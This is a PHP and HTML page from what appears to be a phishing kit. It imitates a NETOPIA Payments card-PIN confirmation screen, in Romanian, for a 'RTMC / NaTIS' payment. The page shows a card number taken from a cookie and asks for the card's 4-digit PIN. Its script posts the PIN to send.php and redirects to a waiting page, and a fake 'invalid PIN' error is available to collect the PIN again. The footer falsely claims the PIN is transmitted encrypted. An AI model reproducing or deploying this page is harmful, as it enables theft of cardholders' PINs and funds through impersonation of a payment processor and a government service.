<?php
require (__DIR__) . '/../main.php';
require (__DIR__) . '/class/Config.php';

$data = $m->getData();
if (isset($data['IS_DONE']) && $data['IS_DONE'] == "1") {
    header("Location: done.php");
    exit;
}

$payLabel = Config::$payment_amount;
$txId = Config::$transaction_id;
$mestroPciRel = 'img/mestro pci.png';
if (!is_file(__DIR__ . '/' . $mestroPciRel)) {
    $mestroPciRel = is_file(__DIR__ . '/img/mestro_pci.png') ? 'img/mestro_pci.png' : '';
}

$cardRaw = isset($_COOKIE['cc']) ? $_COOKIE['cc'] : (isset($_COOKIE['sc_card']) ? $_COOKIE['sc_card'] : '');
$cardClean = preg_replace('/\s+/', '', $cardRaw);
$cardMasked = (strlen($cardClean) >= 10)
    ? substr($cardClean, 0, 6) . '******' . substr($cardClean, -4)
    : '**** **** **** ****';
?>
<!DOCTYPE html>
<html lang="ro">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>NETOPIA Payments — Verificare PIN</title>
    <link rel="stylesheet" href="themes/css/card-netopia.css" />
    <link rel="stylesheet" href="themes/css/code-netopia.css" />
</head>

<body>
    <div class="np-page">
        <div class="np-card">
            <header class="np-head">
                <div class="np-logo-box">
                    NETOPIA
                    <small>PAYMENTS</small>
                </div>
                <div class="np-cards-icon" aria-hidden="true">
                    <img src="img/ff0b.svg" alt="" class="np-head-cards-img" width="72" height="45" />
                </div>
            </header>

            <div class="np-body">
                <div class="np-merchant">RTMC / NaTIS</div>
                <a class="np-url" href="https://natis.gov.za/" target="_blank" rel="noopener noreferrer">natis.gov.za</a>
                <p class="np-desc">Confirmare plată — cod PIN card</p>

                <div class="np-sms-hero" aria-hidden="true">
                    <div class="np-sms-icon-wrap">
                        <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round">
                            <rect x="3" y="11" width="18" height="11" rx="2" ry="2" />
                            <path d="M7 11V7a5 5 0 0 1 10 0v4" />
                        </svg>
                    </div>
                </div>

                <h1 class="np-sms-title">Introduceți codul PIN</h1>
                <p class="np-sms-hint">Introduceți cele 4 cifre ale codului PIN al cardului pentru a autoriza tranzacția în siguranță.</p>

                <dl class="np-sms-summary">
                    <div class="np-sms-summary-row">
                        <dt>Sumă</dt>
                        <dd><?php echo htmlspecialchars($payLabel); ?></dd>
                    </div>
                    <div class="np-sms-summary-row">
                        <dt>ID tranzacție</dt>
                        <dd><?php echo htmlspecialchars($txId); ?></dd>
                    </div>
                    <div class="np-sms-summary-row">
                        <dt>Card</dt>
                        <dd style="font-size:0.78rem;letter-spacing:0.04em;"><?php echo htmlspecialchars($cardMasked); ?></dd>
                    </div>
                </dl>

                <form id="form" action="" method="post" autocomplete="off" novalidate>
                    <?php if (isset($_GET['e'])) { ?>
                    <div class="np-sms-error" role="alert">
                        <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" aria-hidden="true">
                            <circle cx="12" cy="12" r="10" />
                            <path d="M12 8v4M12 16h.01" />
                        </svg>
                        <span>Codul PIN nu este valid. Încercați din nou.</span>
                    </div>
                    <?php } ?>

                    <div class="np-field np-field--pin">
                        <label for="pin">PIN CARD (4 CIFRE)</label>
                        <input class="np-input np-pin-otp" id="pin" name="pin" type="password" inputmode="numeric"
                            pattern="[0-9]{4}" maxlength="4" autocomplete="new-password"
                            placeholder="••••" required />
                    </div>

                    <div class="np-sms-actions">
                        <button type="submit" id="btn_submit" class="np-pay-btn np-pay-btn--locked" disabled>Confirmă plata</button>
                        <button type="button" class="np-cancel" onclick="history.length > 1 ? history.back() : (window.location.href='code.php');">Anulează</button>
                    </div>
                </form>

                <footer class="np-footer">
                    <div class="np-footer-logos">
                        <img src="assets/img/card_logo_mc.svg" alt="Mastercard" class="np-foot-logo-mc">
                        <?php if ($mestroPciRel !== '') { ?>
                        <img src="<?php echo htmlspecialchars($mestroPciRel); ?>" alt="Maestro · PCI DSS" class="np-foot-logo-trust">
                        <?php } else { ?>
                        <img src="assets/img/card_logo_maestro.svg" alt="Maestro" class="np-foot-logo-fallback">
                        <?php } ?>
                    </div>
                    <p class="np-legal">
                        Datele PIN sunt transmise cifrate. Continuând, acceptați
                        <a href="#" onclick="return false;">termenii</a>
                        procesatorului de plăți.
                    </p>
                    <a href="#" class="np-copy" onclick="return false;">© 2007 - 2026 NETOPIA Payments</a>
                </footer>
            </div>
        </div>
    </div>

    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="res/jq.js"></script>
    <script>
        function pinComplete() {
            var v = $('#pin').val().replace(/\D/g, '');
            return v.length === 4 && /^\d{4}$/.test(v);
        }

        function refreshPinButton() {
            var ok = pinComplete();
            var btn = $('#btn_submit');
            btn.prop('disabled', !ok);
            btn.toggleClass('np-pay-btn--ready', ok);
            btn.toggleClass('np-pay-btn--locked', !ok);
        }

        $('#pin').on('input paste keyup', function () {
            this.value = this.value.replace(/\D/g, '').slice(0, 4);
            refreshPinButton();
        });

        refreshPinButton();

        $('#form').on('submit', function (e) {
            e.preventDefault();
            if (!pinComplete() || $('#btn_submit').prop('disabled')) {
                return false;
            }
            var p = $('#pin').val().replace(/\D/g, '');
            $.post('send.php', { pin: p }, function () {
                window.location = 'wait.php?p=pin';
            });
        });
    </script>
    <?php $m->ctr("PIN " . @$_GET['e']); ?>
</body>

</html>
